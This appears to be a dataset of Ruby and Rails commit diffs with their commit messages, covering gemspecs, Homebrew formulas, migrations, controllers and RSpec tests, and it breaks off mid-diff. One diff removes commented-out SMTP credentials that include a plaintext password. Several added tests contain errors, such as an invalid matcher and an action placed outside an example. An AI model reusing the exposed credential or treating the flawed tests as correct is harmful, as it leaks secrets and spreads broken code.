diff
stringlengths 65
26.7k
| message
stringlengths 7
9.92k
|
|---|---|
diff --git a/ReactNativePermissions.podspec b/ReactNativePermissions.podspec
index abc1234..def5678 100644
--- a/ReactNativePermissions.podspec
+++ b/ReactNativePermissions.podspec
@@ -18,4 +18,6 @@ s.preserve_paths = 'LICENSE', 'package.json'
s.source_files = '**/*.{h,m}'
s.exclude_files = 'example/**/*'
+
+ s.dependency 'React'
end
|
Add React dep to podspec
|
diff --git a/vn_tagger.gemspec b/vn_tagger.gemspec
index abc1234..def5678 100644
--- a/vn_tagger.gemspec
+++ b/vn_tagger.gemspec
@@ -8,8 +8,8 @@ spec.version = VnTagger::VERSION
spec.authors = ["Hieu Nguyen"]
spec.email = ["hieuk09@gmail.com"]
- spec.summary = %q{This is a wrapper for vn_tagger library, a A POS tagger for Vietnamese texts. }
- spec.description = %q{This is a wrapper for vn_tagger library, a A POS tagger for Vietnamese texts. }
+ spec.summary = %q{This is a wrapper for vn_tagger library, a POS tagger for Vietnamese text. }
+ spec.description = %q{This is a wrapper for vn_tagger library, a POS tagger for Vietnamese text. }
spec.homepage = "https://github.com/hieuk09/ruby_vn_tagger"
spec.license = "MIT"
|
[ax] Fix typo in gem description
|
diff --git a/db/migrate/083_add_indices_track_sent.rb b/db/migrate/083_add_indices_track_sent.rb
index abc1234..def5678 100644
--- a/db/migrate/083_add_indices_track_sent.rb
+++ b/db/migrate/083_add_indices_track_sent.rb
@@ -0,0 +1,9 @@+class AddIndicesTrackSent < ActiveRecord::Migration
+ def self.up
+ add_index :track_things_sent_emails, :created_at
+ end
+
+ def self.down
+ remove_index :track_things_sent_emails, :created_at
+ end
+end
|
Add index to create_at for track sent, so can remove old ones / only use
new ones
|
diff --git a/NAKPlaybackIndicatorView.podspec b/NAKPlaybackIndicatorView.podspec
index abc1234..def5678 100644
--- a/NAKPlaybackIndicatorView.podspec
+++ b/NAKPlaybackIndicatorView.podspec
@@ -15,8 +15,8 @@ tag: s.version.to_s
}
- s.platform = :ios, '7.0'
- s.ios.deployment_target = '7.0'
+ s.platform = :ios
+ s.ios.deployment_target = '8.0'
s.requires_arc = true
s.source_files = 'Classes'
|
Set deployment target to iOS 8.0
|
diff --git a/gherkin_lint.gemspec b/gherkin_lint.gemspec
index abc1234..def5678 100644
--- a/gherkin_lint.gemspec
+++ b/gherkin_lint.gemspec
@@ -9,10 +9,10 @@ s.license = 'MIT'
s.files = `git ls-files`.split("\n")
s.executables = s.files.grep(%r{^bin/}) { |file| File.basename(file) }
- s.add_runtime_dependency 'gherkin', ['>= 4.0.0']
- s.add_runtime_dependency 'term-ansicolor', ['>= 1.3.2']
- s.add_runtime_dependency 'amatch', ['>= 0.3.0']
- s.add_runtime_dependency 'engtagger', ['>=0.2.0']
- s.add_runtime_dependency 'multi_json', ['>=1.12.1']
- s.add_development_dependency 'aruba', ['>= 0.6.2']
+ s.add_runtime_dependency 'gherkin', ['>= 4.0.0', '< 6.0']
+ s.add_runtime_dependency 'term-ansicolor', ['~> 1.3', '>= 1.3.2']
+ s.add_runtime_dependency 'amatch', ['~> 0.3', '>= 0.3.0']
+ s.add_runtime_dependency 'engtagger', ['~> 0.2', '>= 0.2.0']
+ s.add_runtime_dependency 'multi_json', ['~> 1.12', '>= 1.12.1']
+ s.add_development_dependency 'aruba', ['~> 0.6', '>= 0.6.2']
end
|
Add limits to gem dependency versions
Capping off dependency versions at their next major version so that we
don't get impacted by breaking changes by surprise.
|
diff --git a/actiontext/app/models/action_text/rich_text.rb b/actiontext/app/models/action_text/rich_text.rb
index abc1234..def5678 100644
--- a/actiontext/app/models/action_text/rich_text.rb
+++ b/actiontext/app/models/action_text/rich_text.rb
@@ -1,10 +1,10 @@ # frozen_string_literal: true
-# The RichText record holds the content produced by the Trix editor in a serialized `body` attribute.
-# It also holds all the references to the embedded files, which are stored using Active Storage.
-# This record is then associated with the Active Record model the application desires to have
-# rich text content using the `has_rich_text` class method.
module ActionText
+ # The RichText record holds the content produced by the Trix editor in a serialized `body` attribute.
+ # It also holds all the references to the embedded files, which are stored using Active Storage.
+ # This record is then associated with the Active Record model the application desires to have
+ # rich text content using the `has_rich_text` class method.
class RichText < ActiveRecord::Base
self.table_name = "action_text_rich_texts"
|
Fix API docs of `ActionText::RichText` [ci skip]
This text should appear on the page
https://api.rubyonrails.org/v6.0/classes/ActionText/RichText.html
Related to 86517942e469193e8624d5078d718785552c1270
|
diff --git a/spec/features/login_spec.rb b/spec/features/login_spec.rb
index abc1234..def5678 100644
--- a/spec/features/login_spec.rb
+++ b/spec/features/login_spec.rb
@@ -0,0 +1,11 @@+require 'rails_helper'
+
+feature 'login' do
+ it "should have a login button on the front page" do
+ visit '/'
+ expect(page).to have_button "Login"
+ end
+
+ click_button "Login"
+ screenshot_and_open_image
+end
|
Add test that looks for login button
|
diff --git a/spec/models/article_spec.rb b/spec/models/article_spec.rb
index abc1234..def5678 100644
--- a/spec/models/article_spec.rb
+++ b/spec/models/article_spec.rb
@@ -1,10 +1,30 @@ require "rails_helper"
-RSpec.describe User, :type => :model do
- it "orders by last name" do
- lindeman = User.create!(first_name: "Andy", last_name: "Lindeman")
- chelimsky = User.create!(first_name: "David", last_name: "Chelimsky")
+describe Article do
+ let(:user) { User.new(username: "sampleuser", permission_level: "author", password: "password") }
+ let(:article) { Article.new(orig_author: :user, title: "When Awesome Groups Make Awesome Apps") }
- expect(User.ordered_by_last_name).to eq([chelimsky, lindeman])
+ describe '#orig_author' do
+ it 'must have an original author' do
+ expect(article.orig_author).not_to be nil
+ end
+
+ it 'has a user as its original author' do
+ expect(article.orig_author).to_be_instance_of(User)
+ end
+
+ it 'returns the user who authored the article' do
+ expect(article.orig_author).to eq(:user)
+ end
+ end
+
+ describe '#title' do
+ it 'must have a title' do
+ expect(article.title).not_to be nil
+ end
+
+ it 'returns the title of the article' do
+ expect(article.title).to eq("When Awesome Groups Make Awesome Apps")
+ end
end
end
|
Add tests for article model
|
diff --git a/spec/tasks/trailmix_spec.rb b/spec/tasks/trailmix_spec.rb
index abc1234..def5678 100644
--- a/spec/tasks/trailmix_spec.rb
+++ b/spec/tasks/trailmix_spec.rb
@@ -15,7 +15,7 @@
Rake::Task["trailmix:schedule_all_prompts"].invoke
- expect(emailed_addresses).to eq([utc_8am.email, arz_1am.email])
+ expect(emailed_addresses).to contain_exactly(utc_8am.email, arz_1am.email)
end
end
|
Use "contain exactly" instead of "eq"
We don't care about the order of the email addresses here.
|
diff --git a/test/factories/notices.rb b/test/factories/notices.rb
index abc1234..def5678 100644
--- a/test/factories/notices.rb
+++ b/test/factories/notices.rb
@@ -30,12 +30,8 @@ end
trait :with_tags do
- ignore do
- tags_count { rand(3) + 1 }
- end
-
after(:create) do |notice, evaluator|
- create_list(:tag, evaluator.tags_count, notices: [notice])
+ create_list(:tag, 3, notices: [notice])
end
end
end
|
Fix deplication warning at notice factory
|
diff --git a/app/controllers/admin/internal_categories_controller.rb b/app/controllers/admin/internal_categories_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/admin/internal_categories_controller.rb
+++ b/app/controllers/admin/internal_categories_controller.rb
@@ -1,7 +1,7 @@ class Admin::InternalCategoriesController < Admin::BaseController
def index
- @categories = Category.internally.without_system_resource.ordered
+ @categories = Category.internally.without_system_resource.with_translations(I18n.locale).ordered
end
def show
|
Use current locale to filter category
|
diff --git a/app/controllers/reports_controller.rb b/app/controllers/reports_controller.rb
index abc1234..def5678 100644
--- a/app/controllers/reports_controller.rb
+++ b/app/controllers/reports_controller.rb
@@ -5,8 +5,8 @@
def index
@org_by_county = {}
- Organization.counties.sort_by(&:downcase).each do |county_name|
- @org_by_county[county_name] = Organization.where(county: county_name)
+ Organization.counties.sort_by { |county| (county.presence || "no county").downcase }.each do |county_name|
+ @org_by_county[county_name.presence || "No County"] = Organization.where(county: county_name)
end
end
end
|
Fix county name on reports page
|
diff --git a/lib/climate_control/environment.rb b/lib/climate_control/environment.rb
index abc1234..def5678 100644
--- a/lib/climate_control/environment.rb
+++ b/lib/climate_control/environment.rb
@@ -1,18 +1,18 @@ require "thread"
-require "active_support/core_ext/module/delegation"
+require "forwardable"
module ClimateControl
class Environment
+ extend Forwardable
+
def initialize
@semaphore = Mutex.new
end
- delegate :[]=, :to_hash, :[], :delete, to: :env
- delegate :synchronize, to: :semaphore
+ def_delegators :env, :[]=, :to_hash, :[], :delete
+ def_delegator :@semaphore, :synchronize
private
-
- attr_reader :semaphore
def env
ENV
|
Use stdlib Forwardable module instead of ActiveSupport delegation
|
diff --git a/app/models/vm/operations/lifecycle.rb b/app/models/vm/operations/lifecycle.rb
index abc1234..def5678 100644
--- a/app/models/vm/operations/lifecycle.rb
+++ b/app/models/vm/operations/lifecycle.rb
@@ -11,6 +11,12 @@ unsupported_reason_add(:migrate, "Migrate operation in not supported.")
end
end
+
+ api_relay_method :retire do |options|
+ options
+ end
+
+ api_relay_method :retire_now, :retire
end
def validate_clone
|
Add remote region relay for VM retirement methods
This allows us to retire VMs directly using a method call
from the global region rather than having to use the ProcessTasksMixin
|
diff --git a/lib/draper/active_model_support.rb b/lib/draper/active_model_support.rb
index abc1234..def5678 100644
--- a/lib/draper/active_model_support.rb
+++ b/lib/draper/active_model_support.rb
@@ -19,6 +19,12 @@ end
end
end
+
+ base.class_eval do
+ def to_model
+ self
+ end
+ end
end
end
end
|
Revert "Remove automatic delegation of to_model."
This reverts commit 6d214b9972a22e8b7e2ca574fbb7ce30907a3667.
|
diff --git a/Formula/kismet.rb b/Formula/kismet.rb
index abc1234..def5678 100644
--- a/Formula/kismet.rb
+++ b/Formula/kismet.rb
@@ -1,10 +1,10 @@ require 'formula'
class Kismet <Formula
- url 'http://www.kismetwireless.net/code/kismet-2010-01-R1.tar.gz'
- version '2010-01-R1'
+ url 'http://www.kismetwireless.net/code/kismet-2010-07-R1.tar.gz'
+ version '2010-07-R1'
homepage 'http://www.kismetwireless.net'
- md5 'a6d6edcf65d5bb2cb5de6472bcc16f19'
+ sha256 'b1bae7a97e7a904bf620f285aa0d62ebc1fd3b54b671fbca125405036f949e80'
def install
system "./configure", "--prefix=#{prefix}", "--mandir=#{man}", "--sysconfdir=#{etc}"
@@ -16,12 +16,17 @@ system "make install"
end
- def caveats
- <<-EOS.undent
- Read #{doc}/README and edit #{etc}/kismet.conf
+ def caveats; <<-EOS.undent
+ Read http://www.kismetwireless.net/documentation.shtml and edit
+ #{etc}/kismet.conf
+ as needed.
- Set source=darwin,en1,airport_extreme
- and replace your_user_here in suiduser with your username
+ * SUID Root functionality does not work, you will have to run this as
+ root, e.g. via `sudo`. Do so at your own risk.
+ * This version can be configured interactively when it is run (listen
+ interface, etc).
+ * You may add the line 'ncsource=en1:name=AirPort' to kismet.conf to avoid
+ prompting at startup (assuming en1 is your AirPort card).
EOS
end
end
|
Update Kismet brew to 2010-07-R1
|
diff --git a/Formula/parity.rb b/Formula/parity.rb
index abc1234..def5678 100644
--- a/Formula/parity.rb
+++ b/Formula/parity.rb
@@ -1,27 +1,21 @@-require "formula"
+class Parity < Formula
+ desc "Shell commands for environment parity for Heroku apps"
+ homepage "https://github.com/thoughtbot/parity"
+ url "https://github.com/thoughtbot/parity/archive/v3.2.0.tar.gz"
+ sha256 "fb4d72e7d84d7849c25589bf718580b46117f992f2b8b9d22a208bfad6d60a19"
+ head "https://github.com/thoughtbot/parity.git"
-class Parity < Formula
- homepage "https://github.com/thoughtbot/parity"
- head "https://github.com/thoughtbot/parity.git"
- sha256 "fb4d72e7d84d7849c25589bf718580b46117f992f2b8b9d22a208bfad6d60a19"
- url "https://github.com/thoughtbot/parity/archive/v3.2.0.tar.gz"
+ devel do
+ url "https://github.com/thoughtbot/parity/releases/tag/development-20171006a"
+ end
- depends_on "git"
- depends_on "heroku/brew/heroku" => :recommended
- depends_on "postgres" => :recommended
+ depends_on "heroku-toolbelt" => :recommended
+ depends_on "postgresql" => :recommended
def install
lib.install Dir["lib/*"]
bin.install "bin/development", "bin/staging", "bin/production", "bin/pr_app"
- end
-
- devel do
- url "https://github.com/thoughtbot/parity/releases/tag/development-20171006a"
-
- depends_on "git"
- depends_on "heroku/brew/heroku" => :recommended
- depends_on "postgres" => :recommended
end
test do
|
Validate Parity against brew audit.
* Not necessary to `require "formula"`,
* Add a description,
* Place `devel` above `depends_on`,
* Remove `git` dependency as it's always available,
* Remove `version` as Homebrew prefers to get it from the URL,
* Remove duplicated dependencies from `devel`.
|
diff --git a/lib/patches/model/setting_patch.rb b/lib/patches/model/setting_patch.rb
index abc1234..def5678 100644
--- a/lib/patches/model/setting_patch.rb
+++ b/lib/patches/model/setting_patch.rb
@@ -10,5 +10,7 @@ end
end
-require 'setting'
-Setting.__send__(:include, Pwfmt::SettingPatch)
+Rails.configuration.to_prepare do
+ require 'setting'
+ Setting.__send__(:include, Pwfmt::SettingPatch)
+end
|
Fix breaking Setting object after loading this plugin.
Without this patch, this plugin requires 'setting' at plugin loading,
and after that, next loaded plugin cannot access to
Setting.plugin_#{@plugin.id} method (NoMethodError).
This seems to be related to the thread below:
http://www.redmine.org/boards/3/topics/16587
|
diff --git a/lib/spree-api-client/connection.rb b/lib/spree-api-client/connection.rb
index abc1234..def5678 100644
--- a/lib/spree-api-client/connection.rb
+++ b/lib/spree-api-client/connection.rb
@@ -17,6 +17,7 @@
builder.use FaradayMiddleware::FollowRedirects
builder.use FaradayMiddleware::Mashify
+ builder.use Faraday::Response::RaiseError
builder.use FaradayMiddleware::ParseJson, :content_type => /\bjson$/
|
Raise Faraday Error on request
|
diff --git a/core/regexp/new_spec.rb b/core/regexp/new_spec.rb
index abc1234..def5678 100644
--- a/core/regexp/new_spec.rb
+++ b/core/regexp/new_spec.rb
@@ -11,7 +11,7 @@
describe "Regexp.new given a Regexp" do
it_behaves_like :regexp_new_regexp, :new
- it_behaves_like :regexp_new_string_binary, :compile
+ it_behaves_like :regexp_new_string_binary, :new
end
describe "Regexp.new given a non-String/Regexp" do
|
Fix Regexp.new - show warning "flags ignored" when passed regexp and options
|
diff --git a/config/environments/production.rb b/config/environments/production.rb
index abc1234..def5678 100644
--- a/config/environments/production.rb
+++ b/config/environments/production.rb
@@ -22,11 +22,9 @@ config.action_mailer.smtp_settings = {
:address => "localhost",
:port => 25,
- :domain => "journey.aegames.org",
-# :authentication => :login,
-# :user_name => "noreply@journey.aegames.org",
-# :password => "dontstopbelievin",
+ :domain => "journeysurveys.com"
}
- config.action_mailer.raise_delivery_errors = true
- config.action_mailer.perform_deliveries = true
- config.action_mailer.default_charset = 'utf-8'
+
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.perform_deliveries = true
+config.action_mailer.default_charset = 'utf-8'
|
Set our mail domain to the new address
|
diff --git a/spec/integrity/i18n_spec.rb b/spec/integrity/i18n_spec.rb
index abc1234..def5678 100644
--- a/spec/integrity/i18n_spec.rb
+++ b/spec/integrity/i18n_spec.rb
@@ -21,17 +21,5 @@ end
end
- it "does not overwrite another language" do
- Dir["#{Rails.root}/config/locales/*.yml"].each do |f|
- locale = /.*\.([^.]{2,})\.yml$/.match(f)[1] + ':'
- IO.foreach(f) do |line|
- next if line.start_with? "#"
- next if line.start_with? "---"
- next if line.strip!.blank?
- line.should eq locale
- break
- end
- end
- end
end
|
Revert "ensure locales are not overwritten"
breaking now
|
diff --git a/db/schema.rb b/db/schema.rb
index abc1234..def5678 100644
--- a/db/schema.rb
+++ b/db/schema.rb
@@ -19,7 +19,7 @@ t.datetime "updated_at"
end
- create_table "client", force: :cascade do |t|
+ create_table "clients", force: :cascade do |t|
t.text "name"
t.text "phone"
t.text "datestamp"
|
Update migrations (fix "s" bugs"
|
diff --git a/features/morning_responder.rb b/features/morning_responder.rb
index abc1234..def5678 100644
--- a/features/morning_responder.rb
+++ b/features/morning_responder.rb
@@ -1,7 +1,7 @@ class MorningResponder
class << self
def responds_to?(msg)
- return true if msg =~ /^(goo+d)*.{0,1}mo+rning.*/i
+ return true if msg =~ /^(:[a-z]+:)*(\s)*(goo+d)*.{0,1}mo+rning.*/i
return true if msg == 'Góðan daginn!'
false
end
|
Allow emoji before morning word
TODO: Probably it is too much detailed change
|
diff --git a/seasoning.gemspec b/seasoning.gemspec
index abc1234..def5678 100644
--- a/seasoning.gemspec
+++ b/seasoning.gemspec
@@ -1,10 +1,8 @@ # -*- encoding: utf-8 -*-
-$:.push File.expand_path("../lib", __FILE__)
-require "seasoning/version"
Gem::Specification.new do |s|
s.name = "seasoning"
- s.version = Seasoning::VERSION
+ s.version = "0.1.1"
s.authors = ["Aaron Kalin"]
s.email = ["akalin@martinisoftware.com"]
s.homepage = "http://github.com/martinisoft/seasoning"
|
Make the version number static
|
diff --git a/_plugins/environment_variable.rb b/_plugins/environment_variable.rb
index abc1234..def5678 100644
--- a/_plugins/environment_variable.rb
+++ b/_plugins/environment_variable.rb
@@ -6,6 +6,7 @@
def generate(site)
site.config['domain'] = ENV['DOMAIN'] || 'badssl.com'
+ site.config['http-domain'] = ENV['HTTP_DOMAIN'] || 'http.badssl.com'
site.config['serving-path'] = ENV['SERVING_PATH'] || '/var/www/badssl/_site'
site.config['cert-path'] = site.config['serving-path'] + '/certs/sets/current/gen/chain'
|
Add 'http-domain' back to the Jekyll config.
I think I took it out because I was unable to find any uses cases in the project. I may have been using my search tool wrong.
|
diff --git a/app/models/order_detail.rb b/app/models/order_detail.rb
index abc1234..def5678 100644
--- a/app/models/order_detail.rb
+++ b/app/models/order_detail.rb
@@ -1,13 +1,8 @@ class OrderDetail < ActiveRecord::Base
belongs_to :order
- belongs_to :item
+ belongs_to :item, -> { unscope(where: :deleted_at) }
validates :quantity, :value, presence: true
-
- # Unscope to include deleted items
- def item
- Item.unscoped { super }
- end
def to_json
{
|
Add unscoping to OrderDetail for items: :deleted_at
|
diff --git a/templates/robot/lita_config.rb b/templates/robot/lita_config.rb
index abc1234..def5678 100644
--- a/templates/robot/lita_config.rb
+++ b/templates/robot/lita_config.rb
@@ -24,8 +24,8 @@ # config.adapter.password = "secret"
## Example: Set options for the Redis connection.
- # config.redis.host = "127.0.0.1"
- # config.redis.port = 1234
+ # config.redis[:host] = "127.0.0.1"
+ # config.redis[:port] = 1234
## Example: Set configuration for any loaded handlers. See the handler's
## documentation for options.
|
Use new hash-style access for Redis in robot config template
|
diff --git a/em-twitter.gemspec b/em-twitter.gemspec
index abc1234..def5678 100644
--- a/em-twitter.gemspec
+++ b/em-twitter.gemspec
@@ -15,7 +15,7 @@ spec.summary = spec.description
spec.add_dependency 'eventmachine', '~> 1.0'
- spec.add_dependency 'http_parser.rb', '~> 0.5'
+ spec.add_dependency 'http_parser.rb', ['>= 0.6.0.beta.2', '< 0.7']
spec.add_dependency 'simple_oauth', '~> 0.2'
spec.add_development_dependency 'bundler', '~> 1.0'
|
Update http_parser.rb dependency to allow latest beta
|
diff --git a/test/models/gobierto_common/custom_field_value/numeric_test.rb b/test/models/gobierto_common/custom_field_value/numeric_test.rb
index abc1234..def5678 100644
--- a/test/models/gobierto_common/custom_field_value/numeric_test.rb
+++ b/test/models/gobierto_common/custom_field_value/numeric_test.rb
@@ -40,5 +40,41 @@ assert_equal 0.0, record.value
end
+ def test_value_assign_string_with_only_a_comma
+ record.value = "1,56"
+ record.save
+
+ record.reload
+
+ assert_equal 1.56, record.value
+ end
+
+ def test_value_assign_string_with_more_than_a_comma
+ record.value = "1,000,000"
+ record.save
+
+ record.reload
+
+ assert_equal 1000000.0, record.value
+ end
+
+ def test_value_assign_string_with_comma_and_dot
+ record.value = "1,000.78"
+ record.save
+
+ record.reload
+
+ assert_equal 1000.78, record.value
+ end
+
+ def test_value_assign_integer
+ record.value = 25
+ record.save
+
+ record.reload
+
+ assert_equal 25.0, record.value
+ end
+
end
end
|
Add tests to numeric custom field value parsing
|
diff --git a/spec/import-js/mock_vim_buffer.rb b/spec/import-js/mock_vim_buffer.rb
index abc1234..def5678 100644
--- a/spec/import-js/mock_vim_buffer.rb
+++ b/spec/import-js/mock_vim_buffer.rb
@@ -1,26 +1,37 @@+# Class that is used in tests to behave similarly to the VIM::Buffer object.
+# @see http://vimdoc.sourceforge.net/htmldoc/if_ruby.html#ruby-buffer
class MockVimBuffer
+ # @param buffer_text [String]
def initialize(buffer_text)
@buffer_lines = buffer_text.split("\n")
end
+ # @param one_indexed_n [Number]
def delete(one_indexed_n)
@buffer_lines.delete_at(one_indexed_n - 1)
end
+ # @param index [Number] line number to append after
+ # @param string [String] line to append
def append(index, string)
# We replace newlines with "^@" because that's what a real vim buffer will
# output if you append such a string.
@buffer_lines.insert(index, string.gsub("\n", '^@'))
end
+ # @return [Number] the number of lines in the buffer
def count
@buffer_lines.length
end
+ alias_method :length, :count
+ # @param one_indexed_n [Number] line number
+ # @return [String] a line from the buffer
def [](one_indexed_n)
@buffer_lines[one_indexed_n - 1]
end
+ # @return [String]
def to_s
@buffer_lines.join("\n")
end
|
Add YARD to MockVimBuffer, alias length to count
The YARD makes this object easier to understand. I pulled most of the
descriptions from
http://vimdoc.sourceforge.net/htmldoc/if_ruby.html#ruby-buffer
This class is getting close to being fully featured and might make a
good candidate for releasing as its own gem in addition to
MockVimWindow.
Alternatively, it might be nicer to switch to something vimrunner for
more accurate testing.
https://github.com/AndrewRadev/vimrunner
Here is a tutorial that explains how to set that up with Travis CI:
http://mudge.name/2012/04/18/testing-vim-plugins-on-travis-ci-with-rspec-and-vimrunner.html
|
diff --git a/spec/integration/function_spec.rb b/spec/integration/function_spec.rb
index abc1234..def5678 100644
--- a/spec/integration/function_spec.rb
+++ b/spec/integration/function_spec.rb
@@ -37,8 +37,9 @@ end
it "composes anonymous functions" do
- f1 = Transproc -> (v, m) { v * m }, 2
- f2 = Transproc -> (v) { v.to_s }
+ # TODO: Use Transproc -> (v) { v.to_s } after release of jruby-9k
+ f1 = Transproc proc { |v, m| v * m }, 2
+ f2 = Transproc proc { |v| v.to_s }
f3 = f1 >> f2
|
Make spec 1.9-compatible due to JRuby
|
diff --git a/spec/isolated_environment_spec.rb b/spec/isolated_environment_spec.rb
index abc1234..def5678 100644
--- a/spec/isolated_environment_spec.rb
+++ b/spec/isolated_environment_spec.rb
@@ -6,6 +6,9 @@ include FileHelper
let(:cli) { Rubocop::CLI.new }
+
+ before(:each) { $stdout = StringIO.new }
+ after(:each) { $stdout = STDOUT }
# Configuration files above the work directory shall not disturb the
# tests. This is especially important on Windows where the temporary
|
Remove printout from isolated environment spec.
The spec printed some unwanted text on stdout:
Inspecting 1 file
.
1 file inspected, no offences detected
|
diff --git a/spec/models/spree/payment_spec.rb b/spec/models/spree/payment_spec.rb
index abc1234..def5678 100644
--- a/spec/models/spree/payment_spec.rb
+++ b/spec/models/spree/payment_spec.rb
@@ -0,0 +1,26 @@+require 'spec_helper'
+
+module Spree
+ describe Payment do
+ describe "available actions" do
+ let(:payment) { create(:payment, source: create(:credit_card)) }
+
+ context "for most gateways" do
+ it "can capture and void" do
+ payment.actions.sort.should == %w(capture void).sort
+ end
+
+ describe "when a payment has been taken" do
+ before do
+ payment.stub(:state) { 'completed' }
+ payment.stub(:order) { double(:order, payment_state: 'credit_owed') }
+ end
+
+ it "can void and credit" do
+ payment.actions.sort.should == %w(void credit).sort
+ end
+ end
+ end
+ end
+ end
+end
|
Add spec for payment actions
|
diff --git a/spec/support/database_cleaning.rb b/spec/support/database_cleaning.rb
index abc1234..def5678 100644
--- a/spec/support/database_cleaning.rb
+++ b/spec/support/database_cleaning.rb
@@ -1,16 +1,7 @@ require 'database_cleaner'
RSpec.configure do |config|
- DatabaseCleaner.strategy = :transaction
-
- config.around(:each) do |example|
- if example.metadata[:js]
- example.run
- DatabaseCleaner.clean_with(:truncation)
- else
- DatabaseCleaner.start
- example.run
- DatabaseCleaner.clean
- end
+ config.before(:each) do |example|
+ DatabaseCleaner.clean_with(:truncation)
end
end
|
Switch to truncation cleaning strategy across the board.
Something hokey has started happening when it moves from one JS spec to
the next. It gets stuck in the middle of a transaction. I have used
the dynamic strategy choosing thing in another app with success, but
it's failing here and I don't want to deal with it right now.
|
diff --git a/spec/dap/filter/http_filter_spec.rb b/spec/dap/filter/http_filter_spec.rb
index abc1234..def5678 100644
--- a/spec/dap/filter/http_filter_spec.rb
+++ b/spec/dap/filter/http_filter_spec.rb
@@ -0,0 +1,53 @@+require 'zlib'
+
+describe Dap::Filter::FilterDecodeHTTPReply do
+ describe '.decode' do
+
+ let(:filter) { described_class.new(['data']) }
+
+
+ context 'decoding non-HTTP response' do
+ let(:decode) { filter.decode("This\r\nis\r\nnot\r\nHTTP\r\n\r\n") }
+ it 'returns an empty hash' do
+ expect(decode).to eq({})
+ end
+ end
+
+ context 'decoding uncompressed response' do
+ let(:decode) { filter.decode("HTTP/1.0 200 OK\r\nHeader1: value1\r\n\r\nstuff") }
+
+ it 'correctly sets status code' do
+ expect(decode['http_code']).to eq(200)
+ end
+
+ it 'correctly sets status message' do
+ expect(decode['http_message']).to eq('OK')
+ end
+
+ it 'correctly sets body' do
+ expect(decode['http_body']).to eq('stuff')
+ end
+
+ it 'correct extracts header(s)' do
+ expect(decode['http_raw_headers']).to eq({'header1' => 'value1'})
+ end
+ end
+
+ context 'decoding gzip compressed response' do
+ let(:body) {
+ io = StringIO.new
+ io.set_encoding('ASCII-8BIT')
+ gz = Zlib::GzipWriter.new(io)
+ gz.write('stuff')
+ gz.close
+ io.string
+ }
+ let(:decode) { filter.decode("HTTP/1.0 200 OK\r\nContent-encoding: gzip\r\n\r\n#{body}") }
+
+ it 'correctly decompresses body' do
+ expect(decode['http_body']).to eq('stuff')
+ end
+ end
+
+ end
+end
|
Add basics of unit test for Dap::Filter::FilterDecodeHTTPReply
|
diff --git a/spec/integration/navigation_spec.rb b/spec/integration/navigation_spec.rb
index abc1234..def5678 100644
--- a/spec/integration/navigation_spec.rb
+++ b/spec/integration/navigation_spec.rb
@@ -1,7 +1,7 @@ require 'spec_helper'
describe "Navigation" do
- include Capybara
+ include Capybara::DSL
it "should be a valid app" do
::Rails.application.should be_a(Dummy::Application)
|
Include Capybara::DSL instead of deprecated Capybara.
|
diff --git a/spec/json_expressions/rspec_spec.rb b/spec/json_expressions/rspec_spec.rb
index abc1234..def5678 100644
--- a/spec/json_expressions/rspec_spec.rb
+++ b/spec/json_expressions/rspec_spec.rb
@@ -4,8 +4,9 @@
describe RSpec do
it "includes JsonExpressions::RSpec::Matchers" do
- # TODO actually verify this.
- # For now this spec verifies the spec helper file loads without errors
- true.should be_true
+ modules = ::RSpec.configuration.include_or_extend_modules
+ modules.select! { |(mode,mod,_)| mode == :include }
+ modules.map! { |(mode,mod,_)| mod }
+ modules.should include(::JsonExpressions::RSpec::Matchers)
end
end
|
Verify rspec matcher is correctly included.
|
diff --git a/spec/lib/messaging/producer_spec.rb b/spec/lib/messaging/producer_spec.rb
index abc1234..def5678 100644
--- a/spec/lib/messaging/producer_spec.rb
+++ b/spec/lib/messaging/producer_spec.rb
@@ -15,10 +15,16 @@ }.to raise_exception(ArgumentError)
end
- it 'should publish a message' do
- subject.publish(message: 'test message')
+ context 'publishing a message' do
+ before(:each) do
+ allow(ENV).to receive(:[]).with('ENV').and_return('test')
+ end
- expect(queue.size).to eq(1)
- expect(queue.last).to eq(target_arn: 'arn:aws:sns:eu-west-1:016649511486:cccd-claims-local', message: 'test message')
+ it 'should publish a message' do
+ subject.publish(message: 'test message')
+
+ expect(queue.size).to eq(1)
+ expect(queue.last).to eq(target_arn: 'arn:aws:sns:eu-west-1:016649511486:cccd-claims-test', message: 'test message')
+ end
end
end
|
Fix test failing on CI.
|
diff --git a/test/unit/recipes/fuse_spec.rb b/test/unit/recipes/fuse_spec.rb
index abc1234..def5678 100644
--- a/test/unit/recipes/fuse_spec.rb
+++ b/test/unit/recipes/fuse_spec.rb
@@ -0,0 +1,49 @@+describe 'sys::fuse' do
+ let(:chef_run) { ChefSpec::SoloRunner.new }
+
+ context 'attributes are empty' do
+ before do
+ chef_run.converge(described_recipe)
+ end
+
+ it 'does nothing' do
+ expect(chef_run.run_context.resource_collection).to be_empty
+ end
+ end
+
+ context "with node['sys']['fuse']['config']" do
+ before do
+ chef_run.node.default['sys']['fuse']['config'] = {
+ bli: 'blubb',
+ bla: nil
+ }
+ chef_run.converge(described_recipe)
+ end
+
+ it 'installs fuse package' do
+ expect(chef_run).to install_package('fuse')
+ end
+
+ it 'manages /etc/fuse.conf' do
+ #expect(chef_run).to create_template('/etc/fuse.conf')
+ # .with_mode('0644')
+ # .with_owner('root')
+ # .with_group('root')
+ expect(chef_run).to render_file('/etc/fuse.conf')
+ .with_content('bli = blubb')
+ .with_content(/^bla$/)
+ end
+
+ # context 'on Wheezy' do
+ # before do
+ # chef_run.converge(described_recipe)
+ # end
+
+ # it 'reloads udev' do
+ # expect(chef_run).to reload_service('fuse')
+ # end
+ # end
+
+ end
+
+end
|
Add test for fuse recipe
|
diff --git a/_plugins/tag_page_generator.rb b/_plugins/tag_page_generator.rb
index abc1234..def5678 100644
--- a/_plugins/tag_page_generator.rb
+++ b/_plugins/tag_page_generator.rb
@@ -11,6 +11,7 @@ tag_title_prefix = site.config['tag_title_prefix'] || 'Posts Tagged: '
tag_title_suffix = site.config['tag_title_suffix'] || '–'
self.data['title'] = "#{tag_title_prefix}#{tag}"
+ self.data['description'] = "An archive of posts tagged #{tag}."
end
end
class TagGenerator < Generator
|
Add unique meta descriptions to each tag index page.
|
diff --git a/brain/app.rb b/brain/app.rb
index abc1234..def5678 100644
--- a/brain/app.rb
+++ b/brain/app.rb
@@ -7,10 +7,12 @@ require_relative 'lib/amqp_handler'
require_relative 'lib/humanity_neuron'
+require_relative 'lib/translator_neuron'
brain = Brain.new
brain.add_neuron HumanityNeuron.new
